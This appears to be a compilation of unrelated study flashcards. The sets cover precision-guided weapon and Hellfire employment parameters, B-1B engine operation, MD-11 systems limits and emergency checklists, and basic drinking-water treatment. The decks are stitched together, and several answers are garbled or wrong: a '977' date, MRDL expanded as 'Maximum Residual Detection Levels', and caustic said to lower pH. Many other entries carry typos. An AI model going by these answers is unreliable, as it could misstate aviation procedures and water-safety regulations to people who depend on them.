The moving WEZ is only representative of simulated missile capability, not operationally constrained parameters, and should not be used to determine the firing solution. - Answer: A. True
For GBU-38's, the tracker will display the Run-In Line with a Zone and Range LAR during GBU-38 selection. The LAR's will be _____ until the aircraft is within range at which each LAR will turn ____ independently. - Answer: D. Blue, Green
When will a commanded bomb be released in CCRP mode? - Answer: A. When the aircraft is abeam or past the CCRP
B. When the aircraft is within 3000' of the CCRP
C. When the aircraft course is within 30 degrees of the calculated run-in course
*D. All of the above*
The M299 launcher should not be exposed to temperatures below _____ degrees Celsius. - Answer: A. -40
AGM-114 missiles and M299-P launchers cannot be jettisoned. - Answer: A. True
The AGM-114/N warhead: - Answer: B. contains a metal fuel fill that optimizes overpressure performance
The AGM-114 has an arm acceleration of ___ g. - Answer: C. 10
For GBU -12s, squeeze the trigger at desired point for ________release mode, and prior to optimal release point for _____ deliveries. - Answer: A. Manual, CCRP
If the PRF code of the aircraft's MTS and of the selected weapon(s) do not match, there will be a yellow PRF Code Mismatch indicator. A PRF mismatch with a yellow marker will _________. - Answer: B. not prevent release
After a misfire, the aircraft cannot be shut down until ____ has passed after last attempt to release forward firing ordnance. - Answer: B. one hour
For the GBU-12, the __-second life of the thermal batteries of the FMU-81/B fuze and the laser seeker limits bomb effectiveness to Time of Flight less than __ seconds. - Answer: A. 55; 50
B-1B Lancer Manufacturer: - Answer: Boeing
B-1B Lancer Function: - Answer: Long-Range, Multi-Role, Heavy Bomber
B-1B Lancer Service Date: - Answer: 1985
B-1B Lancer Speed: - Answer: 780+ KIAS
B-1B Lancer Crew: - Answer: Four
B-1B Lancer Production: - Answer: 104
B-1B Lancer Inventory: - Answer: 62
B-1B Lancer Commentary: - Answer: The B-1 was planned as a replacement for the B-52 but was cancelled in 977. The USAF revived the program in 1981. The B-1B was first used in combat against Iraq during Operation DESERT FOX in 1998.
-------------------------------
Power Level Unit (PLU) reads approximately ___________in idle
at "sea level static" condition; _________at military power, and
____________in full AB (numbers will be less at higher altitudes) - Answer: 0
5
10
__________stage bleed air is used for engine anti-icing - Answer: Fifth
Afterburner ignition will occur provided core speed is greater than ________% and the Ignition switch is in ___________ or _____________. - Answer: 85%
AUTO or CONT
During ground operations, acceleration from idle to MAX can take up to ___________seconds. For an engine stabilized at idle, the afterburner should light within ____________seconds of selection - Answer: 30 seconds
10 seconds
If the DEC loses electrical power due to an internal failure or if the engine AC generator fails, the engine will transition to a failsafe mode. The failsafe mode limits safe engine core speed while maintaining full utility of aircraft hydraulic pumps and generators. Engine operation is automatically limited to a core speed of approximately ________% and below. - Answer: 80%
Afterburner fuel flow reductions occur at altitudes above __________feet in order to maintain afterburning efficiency and engine stability margin. Thrust increases/reductions of approximately _____________ to ______________ pounds per engine will occur as the aircraft accelerates/decelerates through the full unrestricted afterburner envelope - Answer: 15,000 ft
800 to 7,000 pounds per engine
Engine ignition is activated whenever the Ignition switch is in ___________and core rpm is between ____________ and __________, regardless of other switch positions. - Answer: AUTO
17% and 59%
What does the INC STALL MARG switch do? - Answer: Inputs signal to the DEC which opens all exhaust nozzles an additional 5% to improve fan stall margin.
Maximum prestart engine temperature for ground or air is ____________° C. - Answer: 250 C
During engine start, hydraulic pumps pressurize at _________ to _________core rpm, after _________second delay if on the ground or ________seconds if airborne - Answer: 60% to 62%
2 sec
45 sec
In order to facilitate windmilling starts in flight, airspeed in excess of ________________KIAS will be necessary to generate approximately ____________% windmilling core rpm - Answer: 500 KIAS
17%
Windmilling starts may result in altitude losses of _____________ feet or more. - Answer: 10,000 ft
After engine shutdown, an appreciable amount of engine oil drains into the ____________, resulting in low oil indications - Answer: engine gearbox
Total oil capacity is ___________ U.S. gallons, with an additional __________gallon of expansion space in the tank - Answer: 5.3 US gallons
0.5 gallons
Where are the sensing probes for the anti-icing system located? It energizes the automatic de-icing circuit when _________ in of ice accumulates on the probe - Answer: In the inlets of engines 1 and 4
0.005 in
_________ power is required for engine shutdown using engine start switches - Answer: AC power
The last engine shutdown must be operating what? - Answer: An operating generator
If ______________ power is unavailable, the fire pushbuttons do not operate and engine(s) without AC power can only be shut down manually from outside the aircraft. - Answer: aft main DC power
What is the Idle Speed Lockup switch? - Answer: Some shit that keeps the core engine idle speed at 90% during fast throttle movement to prevent compressor stalls (think 38 at high altitude)
Engine idle speed lockup should be activated when operating above ____________ or ____________, whichever is lower. Idle speed lockup is not required below this speed - Answer: 425 KIAS or 0.9M
Idle speed lockup is only available above ________ Mach - Answer: 0.50 Mach
What two things are Power Level a function of? - Answer: 1. Fan px ratio while not in AB
2. Fan px ratio and exhaust nozzle area in AB
What does a flashing single light above the Power Level indicate? - Answer: Primary throttle fail/mismatch
Engine temp is displayed as EGT until what temperature? - Answer: 750 deg C
Engine temp is displayed as turbine blade temp above ____________ deg C, and also until ___________ deg C when cooling down - Answer: 750 deg C
720 deg C
Fuel flow AB range starts at _____________ PPH - Answer: 10,000 PPH
Oil px caution range is from _______ to ________ psi - Answer: 8 to 15 psi
Light comes on for low oil at __________ psi, only when engine start switches are in _________ or _________ - Answer: 15 psi
START or RUN
Describe the flow of data from the engine raw data to aircraft systems - Answer: Engine Raw Data to SCDU to EMUX to Everything else
True or false: SCDU checks the SCDU operation and EMUX channels, including the accuracy of raw data coming from the engine - Answer: False. Does not check the accuracy of raw data
Oil hot light illuminates for oil above _____________ deg F - Answer: 300 (+0/-8) deg F
Oil lubricates the _____________ and ___________ - Answer: engine and exhaust nozzles
Auto throttle references Mach (+/-__________) with flaps _____________ and _____________ - Answer: 0.02M
Less than 5, and gear up
Auto throttle references knots (+/-___________) with _____________ - Answer: 5 knots
Landing Configuration
When is speed lockup used? - Answer: When rapid throttle movement is anticipated (TF and low altitude visual contour)
Engine start must begin with switches OFF. Why? - Answer: For EMUX circuit operation
Ignition runs from ___________ to ______________ % core RPM during starts - Answer: 17-59% core RPM
When is ignition reactivated assuming it is in AUTO mode? - Answer: During a core RPM decrease of greater than 5% per second provided RPM is greater than 75% or less than 40%
True or False: CONT ignition setting replaces the AUTO setting - Answer: False. It only supplements it
When is CONT ignition setting used? - Answer: During Engine bleed air starts
When is OFF ignition setting used? - Answer: During dry motoring starts
Auto anti-ice turns off __________ seconds after icing ends - Answer: 60 seconds
ICE caution light does/does not trigger Master Caution - Answer: does not
What does the Anti-Ice caution light mean? - Answer: It means there is an anti-ice valve open when it shouldn't be
What is your airspeed limit if an inlet lip caution light illuminates? - Answer: 410 knots or 0.85M
During simultaneous engine starts, in what order should the switches be moved out of START to RUN? - Answer: 2-4-1-3
Engine motoring source disengages between __________- and _____________ % core RPM - Answer: 57-59% core RPM
Engine cross bleed starts are possible with only one engine is that engine is operating at ____________________ % core RPM - Answer: 90% core RPM
Always start the ____________numbered engine first during cross bleed starts - Answer: Odd numbered engine
Discharged APU accumulators will replenish within ________________ and _____________ minutes - Answer: 3.5 and 6.5 minutes
Operate engines at idle for ____________ minutes before shutdown - Answer: 5 minutes
In what order should the engines be shutdown during a normal shutdown? - Answer: 3-4-2-1
Shutdown the engines via the _________________ if engine performance cannot be monitered - Answer: Fire Pushbutton
What are some indications of the engine going into Failsafe Mode? - Answer: - Nozzle closed
• Engine core rpm lost or limited to 80% regardless of thrust setting
• PLU lost or low
• Low fan rpm
• Afterburner disabled
Why would the engine go into Failsafe Mode? - Answer: If the DEC loses electrical power due to an internal failure or if the engine AC generator fails
How does Failsafe Mode affect the hydraulic and electrical systems associated with that engine? - Answer: It does not affect these systems
What is the maximum core RPM the engine will be able to reach while in Failsafe Mode? - Answer: 80%
Engine nozzles will be between __________ and __________% during non AB ops - Answer: 5 and 15%
Don't attempt an AB relight more than ____ times - Answer: 3
Low oil quantity below ___________- % or ________ psi means go to idle - Answer: 30% or 10 psi
Low oil quantity below _________% or __________psi means shut er down - Answer: 5% or 8 psi
Erroneous lip position may cause engine stall below ____________ M under high airflow ops - Answer: 0.62M
Operating engines above ___________% core RPM and total temperature exceeding ____________ deg C can cause engine damage - Answer: 80%
20 deg (68 deg F)
Inlet lip position will transition from 40 deg to 10 deg under what conditions? - Answer: gear up AND acceleration through 0.35 M
Inlet lip position will transition from 10 deg to 40 deg under what conditions? - Answer: gear down OR deceleration through 0.32 M
Engine motoring should not exceed _____________ seconds continuous or ______________ seconds total in any _____________
minute period - Answer: 120 seconds or 140 seconds
7 minute
After engine start, normal engine indications are:
- Power Level - ______________
• Fan RPM - _______________
• EGT - ______________
• Core RPM - _____________________
• Nozzle Position - __________________
• Fuel Flow - ____________________
• Oil Pressure - __________________
• Oil Quantity - ____________________________________ - Answer: - Power Level - Less than 1.0.
• Fan RPM - 33 to 50%.
• EGT - 200 to 700° C.
• Core RPM - 65 to 77%.
• Nozzle Position - 85 to 101%.
• Fuel Flow - 800 to 1,800 pph.
• Oil Pressure - 15 to 40 psi.
• Oil Quantity - 60 to 95% (100% after 10 minutes)
Oil pressure will not be indicated during engine start until engine fan speed exceeds ________________ rpm - Answer: 21% RPM
Left and right ADS drive switches should be off for _________________ seconds prior to APU shutdown to allow for APU cooling - Answer: 30 seconds
Why shouldn't you place the ENG INST TEST switch to HIGH when personnel are working near an open
engine bay door? - Answer: APU exhaust doors will open and may result in injury to personnel or damage
to the aircraft.
What are the restrictions on moving wings from 15 to 20 deg while configured with flaps and slats extended? - Answer: There are no restrictions, on the ground or airborne, to moving the wings between 15 and
20 degrees while configured with flaps and slats extended.
-------------------------------
What are the four different sources of electrical power available to the aircraft? - Answer: 3 Integrated Drive Generators (IDG's),
APU Generator,
External Power,
Air Driven Generator (ADG)
How do the AC busses operate in parallel? - Answer: Automatically through the AC Tie Bus
How does the APU generator provide power to the AC system? - Answer: Through its own independent supply network, it can not be connected to the AC Tie Bus
The AC ground service bus allows ground servicing of the aircraft without energizing the whole electrical system by ___? - Answer: Using the APU Gen or Ext Pwr connected to the AC Ground Service Bus
What is the power source priority for the AC generator busses? - Answer: (1) Associated IDG,
(2) APU Generator
(3) The AC Tie Bus (External Power or another IDG)
What is the power source priority for the AC tie bus? - Answer: (1) External Power
(2) Any IDG
What is the normal power source for the DC busses? - Answer: Normally, 4 TR's provide DC power to the DC Busses (includes the battery bus). The Battery and/or the ADG (through TR3) may be used as emergency DC power source.
What is the normal power source for the DC bus 2 when isolated? - Answer: TR 2A
What is the normal power source for the DC bus 3 when isolated? - Answer: TR 3
What is the normal power source for the battery bus? - Answer: DC Ground Service Bus via TR 2B
What provides power to the battery bus with the loss of normal AC power? - Answer: The Battery
What components are tested when the EMER PWR selector is place to ARM during the preflight emergency power test? - Answer: Left Emergency AC and DC busses, Battery Charger, Static Inverter, and ADG ciruits.
Once the emergency power system is armed, how is it activated? - Answer: When either the Left Emergency AC or DC Busses are de-energized.
When the emergency power system is activated and the ADG is deployed in Hydraulic Mode, approximately how many minutes of electrical power will the available? - Answer: Approximately 90 minutes
What equipment is powered when operating on emergency battery power only (no IDG, ADG, or APU)? - Answer: DEU 1, DU 1 (PFD), DU 3 (EAD), IRU 1, CADC 1, MCDU 1, VOR 1, VHF 1, A ignition, Standby flight Insturments, Stab Trim via the Longitudinal Trim Handles only.
When the emergency power system is activated what additional items are powered when the ADG is deployed in Hydraulic Mode? - Answer: Left Emergency AC Bus and Aux Hydraulic Pump 1
What should you do if emergency power is activated with normal AC power present? - Answer: The Emergency PWR selector switch must be cycled to "OFF" and then back to "ARM".
What is required for normal battery charging? - Answer: Battery switch "ON" (Emergency power not in use),
Inverter-powered ground refueling is not taking place,
APU or Ext PWR on,
AC power is present at the battery charger input
With loss of all generators, how can the battery be charged with the EMER Power system? - Answer: By deploying the ADG and selecting "Electrical" on the overhead panel.
What is the backup power source for the battery bus on basic emergency power? - Answer: The Battery
What is the backup power source for the battery bus with the ADG operating in the ELEC mode? - Answer: Right Emergency AC Bus through TR3
If the APU is started with the APU START/STOP switch on the APU panel when will it provide electrical power? - Answer: When the APU PWR Switch is selected "ON".
What is the function of the GEN BUS 1/2/3 Fault Reset switches on the overhead panel? - Answer: Used by maintenance personnel only, it resets the associated Bus Tie Relay or Aux Power Relay
How is the ADG retracted after use? - Answer: On the ground by maintenance personnel
What is the circuit breaker policy regarding the Electrical system on the UPS MD-11 aircraft? - Answer: One reset of any tripped (non-fuel pump/Aux Hyd Pump) CB may be attempted at the Captains discretion after a 2 minute cooling period.
What can happen if an IDG is disconnected with engine speed less than ground idle? - Answer: It will cause damage to the IDG input shaft and seal.
What are the consequences of a BAT CHARGING alert after emergency power test? - Answer: No Take Off until the Alert is no longer displayed.
What is the normal source of pneumatics for each of the three air systems? - Answer: Associated engine
What alternate sources of air are available if the normal source is not available? - Answer: APU (Ground), External Air (Ground), any other operating engine.
What is the source of hot air for engine cowl anti-ice? - Answer: Uses hot engine bleed air from its' own engine.
Which system controllers are directed by the Environmental System Controller (ESC)? - Answer: 2 Pneumatic System Controllers (PSC)
3 Air Conditioning Controllers (ACC)
2 Cabin Pressure Controllers (CPC)
1 Manifold Failure Controller (MFC)
The manifold failure detection system (MFDS) can detect leaks in which of the following areas? - Answer: The 3 Pneumatic systems, 3 Air conditioning packs, the Center Accessory Compartment (CAC), Tail pylon area, and Horizontal stab anti-ice system
How is the air temperature adjusted when the crew selects a new compartment temperature? - Answer: It will adjust pack outlet temperatures and add trim air as needed to obtain the desired temperature.
Conditioned air is provided to which of the following compartments? - Answer: The Cockpit, Courier area, and the Cargo compartment
How are the packs turned off when the crew is ready for engine start? - Answer: With the system in Auto, it does it automatically, when IGN A, B, or OVRD is selected (off for 2 minutes or an engine is started).
How is the avionics equipment located in the forward part of the aircraft in and below the cockpit kept cool? - Answer: One of two (or three for some aircraft) cooling fans supplies cooling air to the avionics racks
How is avionics cooling air normally routed for exhaust in-flight? - Answer: Normally it is routed into an exhaust manifold and dumped overboard through the venturi using cabin differential pressure across the venturi.
How is avionics cooling air normally routed for exhaust on the ground? - Answer: An exhaust fan operates to draw air through the manifold and discharge some of the hot avionics air overboard. The remaining hot avionics air is exhausted into the left utility tunnel and exits overboard through the outflow valve.
What conditions cause the AVNCS FAN OVRD process to initiate and illumination of the AVNCS FAN OVRD light? - Answer: The "AVNCS FAN OVRD" alert is displayed when the avionics exhaust fan and venturi valve are commanded to override. The avionics exhaust fan, normally off while in flight, is now operating. The fan turns on automatically when cooling flow goes below normal, or may be manually selected on.
How is the Center Accessory Compartment ventilated? - Answer: It is similar to the avionics compartment ventilation system. It uses 3 cooling fans, however, unlike the avionics compartment, there is no exhaust system. The cooling air blows into one side of the CAC equipment rack and exits out the top.
How does the tunnel ventilation operate? - Answer: The tunnel ventilation system uses a fan to pull air from the cabin and distribute it to the area under the cabin floor. The fan operates on the ground only.
Which of the cargo compartments are both heated and ventilated? - Answer: The Forward Cargo Compartment and the Aft Cargo Compartment , while the Center Cargo Compartment is heated, but it is not ventilated.
Which areas are pressurized on the aircraft? - Answer: Flight, Courier, Cargo, Center Accessory, and Avionics compartments.
What function do the pressure relief valves provide? - Answer: Pressure relief valves limit the cabin differential pressure to 9.1 PSI.
In auto, when does the cabin pressure controller pre-pressurize the aircraft? - Answer: When slats are extended.
In auto, when does the cabin pressure control system begin scheduling the cabin altitude for cruise flight? - Answer: When the aircraft altitude exceeds 5000' above departure field elevation.
In auto, after takeoff, when does the environmental system controller restore pneumatics and air conditioning? - Answer: When passing through 1000' above airport elevation and thrust is reduced to "climb thrust". (If "climb thrust" is not set by 4500' AGL, then the ESC automatically configures for the climb).
In auto, what is the normal position of the ISOL valves during flight? - Answer: Closed
What are the sources that may provide air to a pneumatic system air conditioning pack? - Answer: Each respective engine, from another engine, from the APU, or from external pneumatics.
How does the environmental systems controller prevent engine exhaust from entering the air supply when the APU is supplying pneumatics to manifold 2? - Answer: Packs using pneumatics from manifold 2, with engines 1 or 3 running, are commanded off when the APU is running.
What does an amber AUTOPILOT box mean on the FMA? - Answer: Autopilot (AP) is disconnected due to an AP failure and is no longer available.
What conditions must be met for the aircraft to enter into the flight director go-around mode? - Answer: Below 2500' AGL with flaps down or slats extended.
On approach, with the auto pilot engaged and DUAL or SINGLE LAND not illuminated, when will the autopilot disengage? - Answer: Descending through 1000' AGL
The speed control will automatically change from IAS to the equivalent Mach if the desired Mach was not preselected passing what altitude? - Answer: 26,000' MSL
With a valid ILS frequency, the AFS approach and land modes are armed by pushing the APPR/LAND switch on the FCP when the AP or FD is in any lateral or vertical control mode except
which modes? - Answer: Takeoff or Go-Around Modes
The localizer may be intercepted at angles up to ___ degrees, but high IAS and/or intercept angles greater than ___ degrees may result in overshoot. - Answer: 90, 30-40
When available, what conditions will allow DUAL LAND to automatically engage? - Answer: In APRCH Mode, tracking both the LOC & GS, and aircraft has been below 1500' RA for 10 seconds
Automatic landings have been demonstrated using a reference approach speed of 1.3Vs+5kts under what conditions? - Answer: Headwinds to 25 KTS,
Tailwinds to 10 KTS,
Crosswinds to 15 KTS
The failure of the electrical busses to split may cause what to occur during an automatic approach? - Answer: Dual Land will not be available
During an automatic approach, if a crosswind is present, a side slip runway alignment maneuver is
initiated to remove any existing crab angle. At what altitude will the aircraft initiate this maneuver? - Answer: 150' RA
Can a FD go-around be initiated on the runway after a landing? If yes, for how long? - Answer: Yes, 20 seconds after nose gear compression.
FMS speed edit occurs if a speed is preselected and the FMS SPD switch is pushed within how long? - Answer: 10 seconds
What is the earliest altitude at which AP NAV can be coupled? - Answer: 400' AGL
The altitude alert system is always on except under what conditions? - Answer: Except when the FD or AP is engaged in the Glide Slope mode
In ECON, the climb, cruise and descent phase speed/Mach targets are calculated to operating cost per mile based upon what? - Answer: The entered cost index
During a SELCAL, what happens when a ground station calls the aircraft? - Answer: The applicable "Call" light on the ACP flashes (or steady) and the Central Aural Warning Systems (CAWS) sounds a chime
What actions must be accomplished for a pilot to receive a SATCOM call after the incoming chime has occurred? - Answer: Select "SAT" and then select "Answer"
When does the SATCOM system log onto the satellite network? - Answer: Automatically, once the IRU's are aligned
How can the flight crew contact crewmembers in the supernumerary area using the flight interphone system? - Answer: Pushing the "Courier INTPH" light switch arms the speaker in the supernumerary area to talk via the flight interphone.
What does pushing the CREW REST/CALL switch cause - Answer: Causes an intermittent tone to sound and a light to illuminate in the crew rest module.
What powers the Inertial Reference System (IRS)? - Answer: 115 Volt AC Power with 15 min of "back up" DC power
The air data sensor heater system consists of integral heating elements within the pitot tubes, AOA sensors, and the TAT probe. Heaters are also mounted to the static ports. What controls all of the heating elements? - Answer: The Miscellaneous System Controller (MSC)
What is the difference between a Corrective Resolution Advisory (RA) and a Preventative RA? - Answer: Corrective RA's recommend changing vertical speed
Preventative RA's recommend not changing vertical speed
On the ND, how are RAs displayed? - Answer: RA = Red Box with relative altitude readout and climb/descent rate.
One of the TCAS operating constraints is that the pilot start his maneuver for a corrective RA within how long? - Answer: within 5 seconds
How can GNS position updating to the FMC be manually inhibited? - Answer: By selecting the "GNS NAV INHIBIT" prompt on the POS REF page 1/3.
When will the INITIALIZE IRS* prompt be displayed on the F-PLN INIT page 1/3? - Answer: When there is a displayed LAT/LONG and an IRU is in the align mode requesting a present position entry.
When calculating performance limitations, what adjustments are mandatory? - Answer: When a performance DECREMENT is called for in a particular procedure.
What is CLIMB LIMIT WEIGHT FOR LANDING? - Answer: The maximum landing weight allowed by
FARs which ensures minimum climb
capabilities during an engine-out go
around.
What is CONDITIONAL MAX TOW as depicted on the OPS Takeoff Runway Output page? - Answer: It is the overall limiting takeoff weight with the flex and flap setting displayed.
What is the maximum taxi weight? - Answer: 633,000 lbs
What is the maximum takeoff weight? - Answer: 630,500 lbs
What is the maximum landing weight with the center gear extended? - Answer: 491,500 lbs
What is the maximum zero fuel weight with the center gear extended? - Answer: 461,300 lbs
What is the maximum runway slope allowed? - Answer: +/- 2%
What is the maximum allowable tailwind for takeoff or landing? - Answer: Limiting tailwind component 10 knots for takeoff and landing
What is the maximum lateral fuel imbalance between tanks 1 and 3? - Answer: 2,500 lbs
What is the maximum start EGT limits for a GE engine? - Answer: 750 °C no time limit
750-870 °C for 40 seconds
What is the maximum ground start EGT limit for a PW engine? - Answer: 535 °C
What is the maximum in-flight start EGT limit for a PW engine? - Answer: 650 °C
What is the maximum autoland weight? - Answer: 491,500 lbs
When must the autopilot be off during a non-precision approach? - Answer: For non-precision approaches, the autopilot must be disengaged no lower than the applicable minimums minus 50'
ALL ENGINE FLAMEOUT - Answer: ENG IGN OVRD SWITCH - OVRD ON
ADG - DEPLOY
TAILPIPE FIRE - Answer: FUEL SWITCH - OFF
ENGINE ABNORMAL START (HOT, HUNG OR NO START) - Answer: FUEL SWITCH - OFF
TWO ENGINES INOPERATIVE - Answer: THROTTLE - MCT
FLAPS (UNLESS ON FINAL) - UP
SPEED (UNLESS ON FINAL) - DRIFTDOWN OR UP/RET Vmin+30
GEAR (UNLESS COMMITTED) - UP
SLATS (UNLESS ON FINAL) - RET
CABIN ALTITUDE - Answer: OXYGEN MASKS - ON/100%
OUTFLOW VALVE - VERIFY CLOSED
CARGO FIRE LOWER - Answer: FLASHING CARGO FIRE AGENT DISCH SWITCH - PUSH
ENG 2 A-ICE DUCT - Answer: ENGINE 2 THROTTLE - IDLE
ENGINE ___ FIRE (OR SEVERE DAMAGE) - Answer: THROTTLE - IDLE
===============================
PLC, SCADA, Water Treatment, Power Generation:
What types of water rights are acquired with title to the land bordering a source of surface water? - Answer: Riparian Water Rights
What type of water rights are acquired for the beneficial us of water by following specific legal procedure? - Answer: Appropriative Water Rights
What type of rights are acquired by diverting water, to which other parties may or may not have prior claims, and putting it to use for a period of time specified by statute? - Answer: Prescriptive Water Rights
Water that drains from saturated or impermeable surfaces, into stream channels and then into natural or artificial storage sites or into the ocean in costal areas is called? - Answer: Direct Runoff
Generally, surface water is characterized by traits such as.... - Answer: soft water, turbidity, suspended solids, some color, and microbial contamination.
Generally, ground water is characterized by traits such as... - Answer: Higher levels of dissolved gasses, lower levels of of color, relatively high hardness, and freedom from microbial contamination.
The upper surface of the zone of saturation, if not confined by impermeable material, is called the... - Answer: Water Table
physical characteristics relate to the sseensory qualities of water for domestic use such as the water's - Answer: observed coor, turbiditu, temperature, taste, and odor.
Chemical differences between waters include - Answer: mineral content and the presence or absence f constituents such as fluoride, sulfide, and aacids.
Biological character of water refers to the - Answer: presence of organisms, alive or dead, and their metabolic products
In the operation of water treatment plants, three basic objectives are controlling... - Answer: 1) production of a safe drinking water, 2) Production of an aesthetically pleasing drinking water, 3) production of drinking water at a reasonable cost with respect to capital and also operation and maintenance costs.
a water well is an... - Answer: excavation or structure created in the ground by digging, driving, boring, or drilling to access groundwater in underground aquifers.
--------------------------------------
one of the most used pumps that uses an impeller to spin the liquid outward is know as a.... - Answer: centrifugal pump
this type of pump uses an impeller-diffuser to push water using a Venturi throat to get velocity... - Answer: Jet Pump
Reciprocating Pump - Answer: uses a piston or diaphragm to move liquid and is also used for injecting chemicals into our water.
Rotary Pumps - Answer: uses a rotating mechanism to move liquid also used for injecting chemicals into our water.
The Impeller - Answer: The impeller is the heart of the pump that spins liquid outward by centrifugal force.
The "shaft" of a pump... - Answer: supports the impeller, is covered by a sleeve, and can be made of several different metals depending on the liquid being pumped.
The Pump Casing - Answer: The impeller sets inside the pump casing. The shaft goes through it. There should be no strain whatsoever on the casing.
Nutrients promote Eutrophication of a lake from... - Answer: Phosphates, Nitrates, organic nitrogen compounds and cause the growth of algal blooms.
Algal Blooms cause... - Answer: Taste and odor problems, very short filter runs, An increase in pH, depletion of dissolved oxygen, and organic loading.
TON - Answer: Threshold odor number
pH fluctuations - Answer: Daytime pH goes up and Nighttime pH goes down.
Costs go up to maintain consistent pH because... - Answer: We need to add more chlorine & coagulants, or more soda ash or caustic to lower the pH.
Dissolved Oxygen Depletion - Answer: bacteria feed/metabolize on dead algal cells that causes oxygen to be used up, which in return causes sever fish die offs.
Increase in color & chlorination is known as... - Answer: Organic Loading
Trihalomethanes, Haloacetic Acids (HAA5s), Bromate, and Chlorite are known as... - Answer: disinfect byproducts that cause cancer
MCL : TTHMs - Answer: .08 ppm
MCL: HAA5s - Answer: .06 ppm
MCL: Bromate - Answer: .01 ppm
MCL: Chlorite - Answer: 1 ppm
MRDLs - Answer: Maximum Residual Detection Levels
MRDL: Chlorine - Answer: 4 ppm
MRDL: Chloramines - Answer: 4 ppm
MRDL: Chlorine Dioxide - Answer: .8 ppm
D/DBP stage 1 - Answer: Establishes a technique or enhanced coagulation & softening and sets a Total Organic Carbon removal based on the alkalinity of the raw water.
D/DBP Stage 2 - Answer: Establishes an initial Distribution Evaluation and moves the sampling calculation to locational Running Annual Average.
Monomictic Lakes - Answer: One mixing in Warner climates
Dimictic lakes - Answer: Two mixings in colder climates
Epilimnion - Answer: An upper layer of warm water with high levels of dissolved oxygen (upper part of a stratified reservior)
Metalimnion / Thermocline - Answer: middle layer in a stratified reservior
Hypolimnion zone - Answer: lower layer
Biochemical oxygen demand (BOD) in the metalimnion & hypolimnion causes... - Answer: Anaerobic conditions: rotten egg odor, increase iron and magnanese
Microbial conditions include... - Answer: Viruses, bacteria, and Giardia (parasite)
Nitrogen based fertilizers runoff into reserviors causing: - Answer: Eutrophic conditions
Industrial Discharges such as.. - Answer: mining operations produce: Cyanide, asbestos, and in GW: solvents (TCE, PCE) and Perchlorate
Chemical control of Algal Blooms include the use of... - Answer: Copper Sulphate Pentahydrate/ Bluestone and Hydrogen Peroxide
Aeration - Answer: The process of adding air to water. Air can be passed through water or passing water through air.
Reaeration - Answer: The introduction of air through forced air diffusers into the lower layers of the reservior.
Destratification - Answer: The development of vertical mixing within a lake or reservior to eliminate or separate layers of temperature, plant, or animal life.
Water Intake structures - Answer: Provide water to the treatment plant, prevent large debris from entering the treatment process, and constructed to provide pressure to the distribution system.
What is pure water? - Answer: Pure water is the absence of soluble and insoluble substances in it.
Can pure water exist in nature? - Answer: Yes and No. Precipitate is pure until it reaches the ground where soluble and insoluble substances leach into it. It can be achieved, however, by in exchange, reverse osmosis, or distillation.
universal solvent - Answer: Dissolves into anything (Water).
The two types of compounds are... - Answer: Molecular and Ionic compounds
Coagulation and Flocculation - Answer: The purpose of this process is to remove types of particulate impurities called: suspended solids, colloidal matter, and dissolved solids.
Flash mixing takes... - Answer: about 3 to 5 seconds at the most.
Suspended and collodial matter have a negative charge so.... - Answer: they naturally repel each other. This is called the ZETA Potential.
When flash mixing... - Answer: the lower the temperature of the water, the less effective coagulant is. we'll have to add more chemical or allow for a longer detention time.
Extreme values of pH on both ends of the spectrum can interfere with Flocculation. - Answer: The correct pH balance: 5 to 7.
The pH scale - Answer: Starts ad 0 and ends at 14. it is used to show the acidity of a substance or the concentration of hydronium ions
Alkalinity in water is caused by.. - Answer: Carbonates a d Bicarbonates
Coagulants need alkalinity in water to... - Answer: form flocc
Alkalinity is NOT the same as pH... - Answer: it is the capacity of water to neutralize acid.
The Flocculation process promotes - Answer: contact between particles.
ideal flocc size should be about... - Answer: .1 millimeters to 3 millimeters
We want detention times for Flocculation to be... - Answer: 5 to 20 minutes for direct filtration. 30 minutes for conventional
The purpose of the sedimentation process is to: - Answer: allow flocc and other precipitates to settle out and reduce the load on the filters, accomplished by decreasing the velocity of water.
Short Circuiting - Answer: Water bypasses the flow path and reaches the end of the basin before the normal detention time. this is unavoidable.
Density Currents - Answer: Is the uneven distribution of suspended solids that reduce the performance of the bed by adding to the short Circuiting problem.
Algae and slime growth - Answer: Can start to grow on the sides of a sedimentation basin potentially causing taste and odor problems. Control by coating the walls with copper Sulfate/ lime.
Rectangular Sedimentation Basins - Answer: Are usually constructed of concrete or steel and the bottom is sloped downward so that sludge can be easily removed.
Sedimentation settling zone - Answer: provides the calmness necessary for the suspended flocc to settle. optimal time in this one is 3 to 4 hours.
Effluent or Outlet Zone - Answer: This zone collects the water for the next process, which is the filtration process. in this step we want to minimize the amount of flocc particles that enter the filtration beds.
Sedimentation Sludge Zone - Answer: This is a brief storage area for the settled flocc or sludge. The sludge should compact with each layer.
DIRECT FILTRATION - Answer: excludes the sedimentation process
CONVENTIONAL WATER TREATMENT - Answer: includes the sedimentation process
Filtration - Answer: a physical and chemical process based on: chemical characteristics (source water quality), types and degree of pretreatment, nature of suspension (physical and chemical), characteristics of particulates suspended in water and filter type and operation.
The purpose of the filtration process is to remove... - Answer: any particulates and floc that did not settle out in the Sedimentation basin.
Adsorption - Answer: is the adhesion of something to the surface of another. This creates a film on that surface.
absorption - Answer: is the taking in of something into the body of another. This creates a situation where the body is saturated.
Adsorption - Answer: is the process of removing taste and odor keusing materials using powered activated carbon in the influent water or by using granular activated carbon as a media filter. filter cap
Slow Sand Filtration - Answer: A rarely used process in turbid Waters of less then 10 NTUs. There is no backwash. 20-60 day filter runs.
state regulation: Turbidity at the combined filter effluent... - Answer: "shall be less than or equal to 1 NTU in at least 95% of the measurements taken each month NEVER to exceed 5 NTUs.
Diatomaceous Earth Filtration - Answer: Are very efficient at filtration but can be harmful if breathed in. These can be used in gravity, pressure, and vacuum applications that add diatoms as the water is being filtered.
Filter types: conventional gravity filter media makeup - Answer: single media- sand
dual media- sand and anthracite coal
multimedia- sand, a. coal, and garnet
Activated Carbon- burned coconut shells
if you continuously monitor, the Turbidity shall not exceed... - Answer: 1 NTU for more then 1 hour
If you don't grab sample method... - Answer: the Turbidity shall not exceed 1 NTU at 4 hour intervals and shall not exceed 1 NTU for more then 8 consecutive hours.
Each individual filter online must... - Answer: be monitored and recorded every 15 minutes.
Single media filter rates shall not exceed - Answer: 3 gpm/ft∆2
Multimedia filter rates shall not exceed - Answer: 6 gpm/ft∆2
Backwashing is necessary when... - Answer: there is an increase in Turbidity at the effluent if the bed, when there is a head loss approaching terminality, or UFRV is approaching unreasonable limits.
The purpose of disinfection - Answer: is to destroy or inactivate pathogenic organisms. We do not check for specific organisms or steralize the water.
Chlorine is better at disinfecting between - Answer: a pH of 7-8
